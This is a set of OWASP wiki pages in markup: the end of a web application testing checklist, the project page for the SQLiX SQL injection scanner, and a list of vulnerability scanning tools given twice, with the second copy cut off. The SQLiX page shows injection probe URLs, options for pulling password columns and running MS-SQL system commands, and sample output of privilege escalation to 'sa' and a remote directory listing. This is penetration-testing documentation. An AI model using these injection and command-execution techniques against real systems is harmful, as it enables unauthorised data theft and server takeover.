* [[Testing_for_Bypassing_Authorization_Schema_(OTG-AUTHZ-002)|Test for missing authorization]]
* [[Testing_for_Insecure_Direct_Object_References_(OTG-AUTHZ-004)|Test for insecure direct object references]]

== Cryptography ==
* [[Testing_for_Sensitive_information_sent_via_unencrypted_channels_(OTG-CRYPST-003)|Check if data which should be encrypted is not]]
* Check for wrong algorithms usage depending on context
* [[Testing_for_Weak_SSL/TLS_Ciphers,_Insufficient_Transport_Layer_Protection_(OTG-CRYPST-001)|Check for weak algorithms usage]]
* [[Password_Storage_Cheat_Sheet#Use_a_cryptographically_strong_credential-specific_salt |Check for proper use of salting]]
* [[Insecure_Randomness |Check for randomness functions]]

== Data Validation ==
''Injection''
* Test for HTML Injection
* [[Testing_for_SQL_Injection_(OTG-INPVAL-005)|Test for SQL Injection]]
* Test for LDAP Injection
* [[Testing_for_ORM_Injection_(OTG-INPVAL-007)|Test for ORM Injection]]
* [[Testing_for_XML_Injection_(OTG-INPVAL-008)|Test for XML Injection]]
* Test for XXE Injection
* [[Testing_for_SSI_Injection_(OTG-INPVAL-009)|Test for SSI Injection]]
* [[Testing_for_XPath_Injection_(OTG-INPVAL-010)|Test for XPath Injection]]
* Test for XQuery Injection
* [[Testing_for_IMAP/SMTP_Injection_(OTG-INPVAL-011)|Test for IMAP/SMTP Injection]]
* [[Testing_for_Code_Injection_(OTG-INPVAL-012)|Test for Code Injection]]
* Test for Expression Language Injection
* [[Testing_for_Command_Injection_(OTG-INPVAL-013)|Test for Command Injection]]
* Test for NoSQL injection

''Other''
* [[Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)|Test for Reflected Cross Site Scripting]]
* [[Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)|Test for Stored Cross Site Scripting]]
* [[Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)|Test for DOM based Cross Site Scripting]]
* Test for Cross Site Flashing
* Test for Overflow ([[Testing_for_Stack_Overflow|Stack]], [[Testing_for_Heap_Overflow|Heap]] and Integer)
* [[Testing_for_Format_String|Test for Format String]]
* Test for incubated vulnerabilities
* [[Testing_for_HTTP_Splitting/Smuggling_(OTG-INPVAL-016)|Test for HTTP Splitting/Smuggling]]
* Test for HTTP Verb Tampering
* [[Top_10_2013-A10-Unvalidated_Redirects_and_Forwards|Test for Open Redirection]]
* [[Testing_for_Local_File_Inclusion|Test for Local File Inclusion]]
* [[Testing_for_Remote_File_Inclusion|Test for Remote File Inclusion]]
* Compare client-side and server-side validation rules
* Test for HTTP parameter pollution
* Test for auto-binding
* Test for Mass Assignment
* Test for NULL/Invalid Session Cookie
* [[Test_integrity_checks_(OTG-BUSLOGIC-003) | Test for integrity of data]]
* [[Testing_for_the_Circumvention_of_Work_Flows_(OTG-BUSLOGIC-009) | Test for the Circumvention of Work Flows]]
* [[Test_defenses_against_application_mis-use_(OTG-BUSLOGIC-011) | Test Defenses Against Application Mis-use]]
* [[Test_number_of_times_a_function_can_be_used_limits_(OTG-BUSLOGIC-007) | Test That a Function or Feature Cannot Be Used Outside Of Limits]]
* [[Test_for_Process_Timing_(OTG-BUSLOGIC-007) | Test for Process Timing]]
* [[Test_Local_Storage_(OTG-CLIENT-012)|Test for Web Storage SQL injection (HTML5)]]
* [[HTML5_Security_Cheat_Sheet#Offline_Applications | Check Offline Web Application]]

== Denial of Service ==
* Test for anti-automation
* [[Testing_for_Weak_lock_out_mechanism_(OTG-AUTHN-003)|Test for account lockout]]
* Test for HTTP protocol DoS
* Test for SQL wildcard DoS

== Specific Risky Functionality ==
''File Uploads''
* [[Test_Upload_of_Unexpected_File_Types_(OTG-BUSLOGIC-008)|Test that acceptable file types are whitelisted and non-whitelisted types are rejected]]
* Test that file size limits, upload frequency and total file counts are defined and are enforced
* Test that file contents match the defined file type
* [[Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-009)|Test that all file uploads have anti-virus scanning in place]]
* [[Test_Upload_of_Malicious_Files_(OTG-BUSLOGIC-016) | Test upload of malicious files]]
* Test that unsafe filenames are sanitized
* Test that uploaded files are not directly accessible within the web root
* Test that uploaded files are not served on the same hostname/port
* Test that files and other media are integrated with the authentication and authorization schemas
''Payments''
* Test for known vulnerabilities and configuration issues on Web Server and Web Application
* Test for default or guessable password
* [[Injection_Flaws |Test for Injection vulnerabilities]]
* [[Testing_for_Buffer_Overflow_(OTG-INPVAL-014) |Test for Buffer Overflows]]
* [[Top_10_2010-A7-Insecure_Cryptographic_Storage |Test for Insecure Cryptographic Storage]]
* [[Top_10_2010-A9-Insufficient_Transport_Layer_Protection | Test for Insufficient Transport Layer Protection]]
* [[Web_Application_Security_Testing_Cheat_Sheet#Error_Handling|Test for Improper Error Handling]]
* Test for all vulnerabilities with a CVSS v2 score > 4.0
* Test for Authentication and Authorization issues
* [[Testing_for_CSRF_(OTG-SESS-005)|Test for CSRF]]

== Error Handling==
* [[Testing_for_Error_Code_(OTG-ERR-001)|Check for Error Codes]]
* [[Testing_for_Stack_Traces_(OTG-ERR-002)|Check for Stack Traces]]

= Other Formats =
* DradisPro template format [https://github.com/raesene/OWASP_Web_App_Testing_Cheatsheet_Converter/blob/master/OWASP_Web_Application_Testing_Cheat_Sheet.xml on github]
* Asana template on [http://templana.com/templates/owasp-website-security-checklist/ Templana] (thanks to Bastien Siebman)

= Authors and contributors =

[[User:Simon Bennetts|Simon Bennetts]]<br />
[[User:Raesene|Rory McCune]] <br />
Colin Watson<br />
Simone Onofri<br />
[[User:Amro_Ahmed|Amro AlOlaqi]]

All above are authors of the [[OWASP_Testing_Guide_v3_Table_of_Contents | Testing Guide v3]]

[[User:Ryan_Dewhurst|Ryan Dewhurst]]<br />
[[User:Frank.catucci | Frank Catucci]]<br />
[[User:VinMiller | Vin Miller]]

= Related articles =

* OWASP [[:Category:OWASP Testing Project|Testing Guide]]
* Mozilla [https://wiki.mozilla.org/WebAppSec/Web_Security_Verification Web Security Verification]

= Other Cheatsheets =

{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]
[[Category:OWASP_Breakers]]

Category:OWASP SQLiX Project

2017-05-25T18:51:26Z

Christina Schelin: Added a date to be more clear.

=Main=


<div style="width:100%;height:100px;border:0,margin:0;overflow: hidden;">[[Image:OWASP Inactive Banner.jpg|800px| link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Inactive_Projects]] </div>

{| style="padding: 0;margin:0;margin-top:10px;text-align:left;" |-
| valign="top" style="border-right: 1px dotted gray;padding-right:25px;" |
'''NOTE:'''

The project is currently under the process of porting from Perl to Python. The next version will be released soon!<br />-- AnirudhAnand, 16 March 2014

==Introduction==

SQLiX is a [[SQL Injection]] scanner coded in Perl. It is able to crawl, detect SQL injection vectors, identify the back-end database, and grab function call/UDF results (even execute system commands for MS-SQL). The concepts in use are different than the one used in other SQL injection scanners. SQLiX is able to find normal and blind SQL injection vectors and doesn't need to reverse engineer the original SQL request (using only function calls).

If you are a developer interested in remediating or avoiding the kinds of SQL injection vulnerabilities this tool can find, check out the OWASP [[SQL Injection Prevention Cheat Sheet]].

==Description==

'''SQLiX''' is a '''[[SQL Injection]] scanner''' which attempts to fill the gap between what commercial software available on the market can do and what can really be done to detect and identify SQL injection.

Current injection methods used by commercial web assessment software are based on error generation or statement injections.

'''error generation:'''

The error generation method is quite simple and is based on meta characters like single quotes or double quotes.
By injecting these characters in the original SQL request, you generate a syntax error which could result in an SQL error message displayed in the HTTP reply.
The main issue with this technique is the fact that it's only based on pattern matching.
There is no way to handle multiple languages or complex behaviors when the error message is filtered by the server-side scripts.

'''statement injection:'''

The second method used is statement injection. Let's look at an example:

The target URL
(0) is http://target.example.com/news.php?id=25.

The scanner will try to compare the HTML content of the original request with the HTML content of

(1) http://target.example.com/news.php?id=25%20or%201=1

(2) http://target.example.com/news.php?id=25%20or%201=0

If the request (1) provides the same result as request (0) and request (2) doesn't, the scanner will conclude that SQL injection is possible.
This method works fine, but is very limited by the syntax of the original request. If the original request contains parentheses, store procedures or function calls, this method will rarely work.
Worse, if the variable is used by multiple SQL requests, all with different syntaxes, there is no automatic way to make them all work simultaneously.

Frequently you will see more advanced scanners like SQLBrute from [http://www.justinclarke.com www.justinclarke.com] trying to reverse engineer the original SQL syntax by injecting multiple requests with different sets of parentheses or comas.
This method is a little more time consuming but does provide better results (for free), especially when error messages are not displayed.

Another global issue concerning SQL injection is the fact that pen testers frequently conclude that a given SQL injection vulnerability can't be exploited.
By concluding this incorrect statement they are inviting their customers to not patch the vulnerability.

==Licensing==
OWASP SQLiX is free to use. It is licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.

| valign="top" style="padding-left:25px;width:200px;border-right: 1px dotted gray;padding-right:25px;" |

== What is SQLiX? ==

OWASP SQLiX provides:

* SQLiX uses multiple techniques to determine if the current server-side script is vulnerable to SQL Injection
** conditional errors injection
** blind injection based on integers, strings or statements
** MS-SQL verbose error messages ("taggy" method)
* SQLiX using UDF (User defined functions) or function calls thus no need to reverse engineer the original SQL syntax
* SQLix is able to identify the database version and gather sensitive information for the following SQL servers: MS-Access, MS-SQL, MySQL, Oracle and PostgreSQL.
* The comparison module of SQLiX is able to deal with complex HTML contents even when they include dynamic ads
* SQLiX contains an exploit module to demonstrate how a hacker could exploit the found SQL injection to gather sensitive information

== Presentation ==

Link to presentation

== Project Leader ==

Anirudh

== Related Projects ==

| valign="top" style="padding-left:25px;width:200px;" |

== Quick Download ==

OWASP SQLiX v1.0 is available for download [http://cedri.cc/tools/SQLiX_v1.0.tar.gz '''here'''] or [http://www.mediafire.com/?5lbt0tb1jee '''here'''].

== News and Events ==
* [20 Nov 2013] News 2
* [30 Sep 2013] News 1

== In Print ==

==Classifications==

{| width="200" cellpadding="2"
|-
| align="center" valign="top" width="50%" rowspan="2"| [[File:Owasp-incubator-trans-85.png|link=https://www.owasp.org/index.php/OWASP_Project_Stages#tab=Incubator_Projects]]
| align="center" valign="top" width="50%"| [[File:Owasp-builders-small.png|link=]]
|-
| align="center" valign="top" width="50%"| [[File:Owasp-defenders-small.png|link=]]
|-
| colspan="2" align="center" | [[File:Cc-button-y-sa-small.png|link=http://creativecommons.org/licenses/by-sa/3.0/]]
|-
| colspan="2" align="center" | [[File:Project_Type_Files_CODE.jpg|link=]]
|}

|}

=Requirements=
Perl with the following dependencies:

WWW::CheckSite

Tie::CharArray

perl -MCPAN -e 'install WWW::CheckSite'
perl -MCPAN -e 'install Tie::CharArray'

= Command line usage =

'''Usage: SQLiX.pl [options]'''
-help Show this help

Target specification:
-url [URL] Scan a given URL.
Example: -url="http://target.com/index.php?id=1"
--post_content [CONTENT] Add a content to the current [URL]
and change the HTTP method to POST
-file [FILE_NAME] Scan a list of URI provided via a flat file.
Example: -file="./crawling"
-crawl [ROOT_URL] Scan a web site from the given root URL.
Example: -crawl="http://target.com/"

Injection vectors:
-referer Use HTTP referer as a potential injection vector.
-agent Use HTTP User agent as a potential injection vector.
-cookie [COOKIE] Use the cookie as a potential injection vector.
Cookie value has to be specified and the injection area
tagged as "--INJECT_HERE--".
Example: -cookie="userID=--INJECT_HERE--"

Injection methods:
-all Use all the injection methods.
-method_taggy Use MS-SQL "verbose" error messages method.
-method_error Use conditional error messages injection method.
-method_blind Use all blind injection methods.
-method_blind_integer Use integer blind injection method.
-method_blind_string Use string blind injection method.
-method_blind_statement Use statement blind injection method.
-method_blind_comment Use MySQL comment blind injection method.

Attack modules:
-exploit Exploit the found injection to extract information.
by default the version of the database will be retrieved
-function [function] Used with exploit to retrieve a given function value.
Example: -function="system_user"
Example: -function="(select password from user_table)"
-union Analyse target for potential UNION attack [MS-SQL only].

MS-SQL System command injection:
-cmd [COMMAND] System command to be executed.
Example: -cmd="dir c:\\"
-login [LOGIN] MS-SQL login to use if known.
-password [PASSWORD] MS-SQL password to use if known.

Verbosity:
-v=[n] Verbose mode level
v=0 => no output, only results are displayed at the end
v=2 => realtime display, provide minimum result info
v=5 => debug view [all url,content and headers are displayed]

= Output example =

*'''MS-SQL System command execution'''

$ perl SQLiX.pl -file crawling -all -v=2 -exploit -cmd="dir c:\\"

======================================================
-- SQLiX --
© Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================

Analysing URI obtained by flat file [crawling]
http://www.target.example.com/DocumentDescription-HR.asp?DocID=2
[+] working on DocID
[+] Method: MS-SQL error message
[FOUND] MS-SQL error message (implicite without quotes)
[FOUND] function [@@version]:
Microsoft SQL Server 2000 - 8.00.534 (Intel X86)
Nov 19 2001 13:23:50
Copyright (c) 1988-2000 Microsoft Corporation
Personal Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
[INFO] System command injector:
[INFO] Current database: HR
[INFO] We are not sysadmin for now
[INFO] Checking OpenRowSet availibility - please wait...
[INFO] Current user login: [HR]
[FOUND] OPENROWSET available - (login [sa] | password [sa])
[INFO] Privilege escalation - from [HR] to [sa]

===========================================================================

Volume in drive C has no label.
Volume Serial Number is 00BC-6F73

Directory of c:\

11/21/2005 06:36p <DIR> 403679d1f6ca54e5384256556434111d
07/14/2006 10:49a <DIR> Documents and Settings
07/22/2005 02:21p <DIR> honeypot
07/21/2005 04:38p <DIR> iDefense
03/08/2002 08:23a <DIR> Inetpub
07/14/2006 03:21p <DIR> Program Files
08/07/2006 04:11p 622 tmp.txt
11/28/2005 06:06p <DIR> WINNT
1 File(s) 622 bytes
7 Dir(s) 183,328,768 bytes free

===========================================================================

[FOUND] MS-SQL error message

RESULTS:
The variable [DocID] from [ http://www.target.example.com/DocumentDescription-HR.asp?DocID=2 ] ...
... is vulnerable to SQL Injection [TAG implicite without quotes - MSSQL].

*'''MySQL, PostgreSQL function Injection'''

$ perl SQLiX.pl -file crawling -all -v=2 -exploit

======================================================
-- SQLiX --
© Copyright 2006 Cedric COCHIN, All Rights Reserved.
======================================================

Analysing URI obtained by flat file [crawling]
http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2
[+] working on DocID
[+] Method: MS-SQL error message
[+] Method: SQL error message
[FOUND] Match found INPUT:[user] - "Microsoft OLE DB Provider for ODBC Drivers"
[INFO] Error without quote
[INFO] Database identified: MySQL Server
[INFO] Current function: version()
[INFO] length: 19
4.1.20-community-nt
[FOUND] SQL error message
http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2
[+] working on DocID
[+] Method: MS-SQL error message
[+] Method: SQL error message
[FOUND] Match found INPUT:['] - "Microsoft OLE DB Provider for ODBC Drivers"
[INFO] Error without quote
[INFO] Database identified: PostgreSQL Server
[INFO] Current function: version()
[INFO] length: 88
PostgreSQL 8.0.7 on i686-pc-mingw32, compiled by GCC gcc.exe (GCC) 3.4.2
[FOUND] SQL error message

RESULTS:
The variable [DocID] from
[ http://www.target.example.com/MySQL-DocumentDescriptionMagicQuote.asp?DocID=2 ] ...
... is vulnerable to SQL Injection [Error message (user) - MySQL].
The variable [DocID] from
[ http://www.target.example.com/PGSQL-DocumentDescription.asp?DocID=2 ] ...
... is vulnerable to SQL Injection [Error message (') - PostgreSQL].

= Acknowledgements =
==Volunteers==

= Road Map and Getting Involved =
As of XXX, the priorities are:
* xxx
* xxx
* xxx

We hope you find the OWASP SQLiX Project useful. Please contribute to the Project by volunteering for one of the Tasks, sending your comments, questions, and suggestions to owasp@owasp.org. To join the OWASP SQLiX Project mailing list or view the archives, please visit the [http://lists.owasp.org/mailman/listinfo/owasp-sqlix subscription page.]

=Project About=
==== Project Identification ====
{{:GPC_Project_Details/OWASP_SQLiX_Project | OWASP Project Identification Tab}}}}

__NOTOC__ <headertabs />

[[Category:OWASP Project|SQLiX Project]]
[[Category:OWASP Download]]
[[Category:OWASP Tool]]
[[Category:SQL]]
[[Category:OWASP Oracle Project]]

Category:Vulnerability Scanning Tools

2017-04-05T21:31:20Z

Christina Schelin:

== Description ==

Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as [[Cross-site scripting]], [[SQL Injection]], [[Command Injection]], [[Path Traversal]] and insecure server configuration. This category of tools is frequently referred to as [https://www.techopedia.com/definition/30958/dynamic-application-security-testing-dast Dynamic Application Security Testing] (DAST) Tools. A large number of both commercial and open source tools of this type are available and all of these tools have their own strengths and weaknesses. If you are interested in the effectiveness of DAST tools, check out the OWASP [[Benchmark]] project, which is scientifically measuring the effectiveness of all types of vulnerability detection tools, including DAST.

Here we provide a list of vulnerability scanning tools currently available in the market.

<br> '''Disclaimer:''' The tools listing in the table below are presented in an alphabetical order. <b>OWASP does not endorse any of the Vendors or Scanning Tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think this information is incomplete or incorrect, please send an e-mail to our [mailto:owasp_ha_vulnerability_scanner_project@lists.owasp.org mailing list] and we will make every effort to correct this information.</b>

== Tools Listing ==

{{:Template:OWASP Tool Headings}}
{{OWASP Tool Info || tool_name = [http://www.acunetix.com/ Acunetix WVS] || tool_owner = Acunetix || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www-03.ibm.com/software/products/en/appscan-standard AppScan] || tool_owner = IBM || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/ App Scanner] || tool_owner = Trustwave || tool_licence = Commercial || tool_platforms = Windows }}
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/appspider/ AppSpider] || tool_owner = Rapid7 || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.beyondsecurity.com/avds AVDS] || tool_owner = Beyond Security || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = N/A }}
{{OWASP Tool Info || tool_name = [https://www.blueclosure.com BlueClosure BC Detect] || tool_owner = BlueClosure || tool_licence = Commercial, 2 weeks trial || tool_platforms = Most platforms supported}}
{{OWASP Tool Info || tool_name = [http://www.portswigger.net/ Burp Suite] || tool_owner = PortSwiger || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Most platforms supported }}
{{OWASP Tool Info || tool_name = [https://contrastsecurity.com Contrast] || tool_owner = Contrast Security || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises }}
{{OWASP Tool Info || tool_name = [http://www.gamasec.com/Gamascan.aspx GamaScan] || tool_owner = GamaSec || tool_licence = Commercial || tool_platforms = Windows }}
{{OWASP Tool Info || tool_name = [http://rgaucher.info/beta/grabber/ Grabber] || tool_owner = Romain Gaucher || tool_licence = Open Source || tool_platforms = Python 2.4, BeautifulSoup and PyXML}}
{{OWASP Tool Info || tool_name = [http://sourceforge.net/p/grendel/code/ci/c59780bfd41bdf34cc13b27bc3ce694fd3cb7456/tree/ Grendel-Scan] || tool_owner = David Byrne || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.golismero.com GoLismero] || tool_owner = GoLismero Team || tool_licence = GPLv2.0 || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.ikare-monitoring.com/ IKare] || tool_owner = ITrust || tool_licence = Commercial || tool_platforms = N/A }}
{{OWASP Tool Info || tool_name = [https://www.indusface.com/index.php/products/web-application-scanning Indusface Web Application Scanning] || tool_owner = Indusface || tool_licence = Commercial || tool_platforms = SaaS}}
{{OWASP Tool Info || tool_name = [http://www.nstalker.com/ N-Stealth] || tool_owner = N-Stalker || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.mavitunasecurity.com/ Netsparker] || tool_owner = MavitunaSecurity || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/nexpose-community-edition.jsp Nexpose] || tool_owner = Rapid7 || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Windows/Linux}}
{{OWASP Tool Info || tool_name = [http://www.cirt.net/nikto2 Nikto] || tool_owner = CIRT || tool_licence = Open Source|| tool_platforms = Unix/Linux}}
{{OWASP Tool Info || tool_name = [http://www.milescan.com/ ParosPro] || tool_owner = MileSCAN || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/proxy.html Proxy.app] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.qualys.com/products/qg_suite/was/ QualysGuard] || tool_owner = Qualys || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina] || tool_owner = BeyondTrust || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.orvant.com Securus] || tool_owner = Orvant, Inc || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [http://www.whitehatsec.com/home/services/services.html Sentinel] || tool_owner = WhiteHat Security || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [http://www.parasoft.com/products/article.jsp?articleId=3169&redname=webtesting&referred=webtesting SOATest] || tool_owner = Parasoft || tool_licence = Commercial || tool_platforms = Windows / Linux / Solaris}}
{{OWASP Tool Info || tool_name = [https://www.tinfoilsecurity.com Tinfoil Security] || tool_owner = Tinfoil Security, Inc. || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises}}
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/external-vulnerability-scanning.php Trustkeeper Scanner] || tool_owner = Trustwave SpiderLabs || tool_licence = Commercial || tool_platforms = SaaS}}
{{OWASP Tool Info || tool_name = [https://subgraph.com/vega/ Vega] || tool_owner = Subgraph || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://wapiti.sourceforge.net/ Wapiti] || tool_owner = Informática Gesfor || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.tripwire.com/it-security-software/enterprise-vulnerability-management/web-application-vulnerability-scanning/ WebApp360] || tool_owner = TripWire || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www8.hp.com/us/en/software-solutions/software.html?compURI=1341991#.Uuf0KBAo4iw WebInspect] || tool_owner = HP || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/webreaver.html WebReaver] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.german-websecurity.com/en/products/webscanservice/product-details/overview/ WebScanService] || tool_owner = German Web Security || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [https://suite.websecurify.com/ Websecurify Suite] || tool_owner = Websecurify || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows, Linux, Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.sensepost.com/research/wikto/ Wikto] || tool_owner = Sensepost || tool_licence = Open Source || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.w3af.org/ w3af] || tool_owner = w3af.org || tool_licence = GPLv2.0 || tool_platforms = Linux and Mac}}
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework Xenotix XSS Exploit Framework] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project Zed Attack Proxy] || tool_owner = OWASP || tool_licence = Open Source || tool_platforms = Windows, Unix/Linux and Macintosh}}
|}

== References ==

*[[Source_Code_Analysis_Tools | SAST Tools]] - Similar Information on Static Application Security Testing (SAST) Tools
*http://projects.webappsec.org/Web-Application-Security-Scanner-Evaluation-Criteria
*http://www.slideshare.net/lbsuto/accuracy-and-timecostsofwebappscanners
*http://samate.nist.gov/index.php/Web_Application_Vulnerability_Scanners.html
*http://www.tssci-security.com/archives/2007/11/24/2007-security-testing-tools-in-review/
*http://www.softwareqatest.com/qatweb1.html#SECURITY

[[Category:OWASP_Tools_Project]]

Category:Vulnerability Scanning Tools

2017-04-05T21:30:55Z

Christina Schelin:

== Description ==

Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as [[Cross-site scripting]], [[SQL Injection]], [[Command Injection]], [[Path Traversal]] and insecure server configuration. This category of tools is frequently referred to as [https://www.techopedia.com/definition/30958/dynamic-application-security-testing-dast Dynamic Application Security Testing] (DAST) Tools. A large number of both commercial and open source tools of this type are available and all of these tools have their own strengths and weaknesses. If you are interested in the effectiveness of DAST tools, check out the OWASP [[Benchmark]] project, which is scientifically measuring the effectiveness of all types of vulnerability detection tools, including DAST.

Here we provide a list of vulnerability scanning tools currently available in the market.

<br> '''Disclaimer:''' The tools listing in the table below are presented in an alphabetical order. <b>OWASP does not endorse any of the Vendors or Scanning Tools by listing them in the table below. We have made every effort to provide this information as accurately as possible. If you are the vendor of a tool below and think this information is incomplete or incorrect, please send an e-mail to our [mailto:owasp_ha_vulnerability_scanner_project@lists.owasp.org mailing list] and we will make every effort to correct this information.</b>

== Tools Listing ==

{{:Template:OWASP Tool Headings}}
{{OWASP Tool Info || tool_name = [http://www.acunetix.com/ Acunetix WVS] || tool_owner = Acunetix || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www-03.ibm.com/software/products/en/appscan-standard AppScan] || tool_owner = IBM || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [https://www.trustwave.com/Products/Application-Security/App-Scanner-Family/App-Scanner-Enterprise/ App Scanner] || tool_owner = Trustwave || tool_licence = Commercial || tool_platforms = Windows }}
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/appspider/ AppSpider] || tool_owner = Rapid7 || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.beyondsecurity.com/avds AVDS] || tool_owner = Beyond Security || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = N/A }}
{{OWASP Tool Info || tool_name = [https://www.blueclosure.com BlueClosure BC Detect] || tool_owner = BlueClosure || tool_licence = Commercial, 2 weeks trial || tool_platforms = Most platforms supported}}
{{OWASP Tool Info || tool_name = [http://www.portswigger.net/ Burp Suite] || tool_owner = PortSwiger || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Most platforms supported }}
{{OWASP Tool Info || tool_name = [https://contrastsecurity.com Contrast] || tool_owner = Contrast Security || tool_licence = Commercial / Free (Limited Capability) || tool_platforms = SaaS or On-Premises }}
{{OWASP Tool Info || tool_name = [http://www.gamasec.com/Gamascan.aspx GamaScan] || tool_owner = GamaSec || tool_licence = Commercial || tool_platforms = Windows }}
{{OWASP Tool Info || tool_name = [http://rgaucher.info/beta/grabber/ Grabber] || tool_owner = Romain Gaucher || tool_licence = Open Source || tool_platforms = Python 2.4, BeautifulSoup and PyXML}}
{{OWASP Tool Info || tool_name = [http://sourceforge.net/p/grendel/code/ci/c59780bfd41bdf34cc13b27bc3ce694fd3cb7456/tree/ Grendel-Scan] || tool_owner = David Byrne || tool_licence = Open Source || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.golismero.com GoLismero] || tool_owner = GoLismero Team || tool_licence = GPLv2.0 || tool_platforms = Windows, Linux and Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.ikare-monitoring.com/ IKare] || tool_owner = ITrust || tool_licence = Commercial || tool_platforms = N/A }}
{{OWASP Tool Info || tool_name = [https://www.indusface.com/index.php/products/web-application-scanning Indusface Web Application Scanning] || tool_owner = Indusface || tool_licence = Commercial || tool_platforms = SaaS}}
{{OWASP Tool Info || tool_name = [http://www.nstalker.com/ N-Stealth] || tool_owner = N-Stalker || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.mavitunasecurity.com/ Netsparker] || tool_owner = MavitunaSecurity || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.rapid7.com/products/nexpose-community-edition.jsp Nexpose] || tool_owner = Rapid7 || tool_licence = Commercial / Free (Limited Capability)|| tool_platforms = Windows/Linux}}
{{OWASP Tool Info || tool_name = [http://www.cirt.net/nikto2 Nikto] || tool_owner = CIRT || tool_licence = Open Source|| tool_platforms = Unix/Linux}}
{{OWASP Tool Info || tool_name = [http://www.milescan.com/ ParosPro] || tool_owner = MileSCAN || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.websecurify.com/desktop/proxy.html Proxy.app] || tool_owner = Websecurify || tool_licence = Commercial || tool_platforms = Macintosh}}
{{OWASP Tool Info || tool_name = [http://www.qualys.com/products/qg_suite/was/ QualysGuard] || tool_owner = Qualys || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [http://www.beyondtrust.com/Products/RetinaNetworkSecurityScanner/ Retina] || tool_owner = BeyondTrust || tool_licence = Commercial || tool_platforms = Windows}}
{{OWASP Tool Info || tool_name = [http://www.orvant.com Securus] || tool_owner = Orvant, Inc || tool_licence = Commercial || tool_platforms = N/A}}
{{OWASP Tool Info || tool_name = [http://www.whitehatsec.com/home/services/services.html Sentinel] || tool_owner = WhiteHat Security || tool_licence = Commercial || tool_platforms = N/A}}
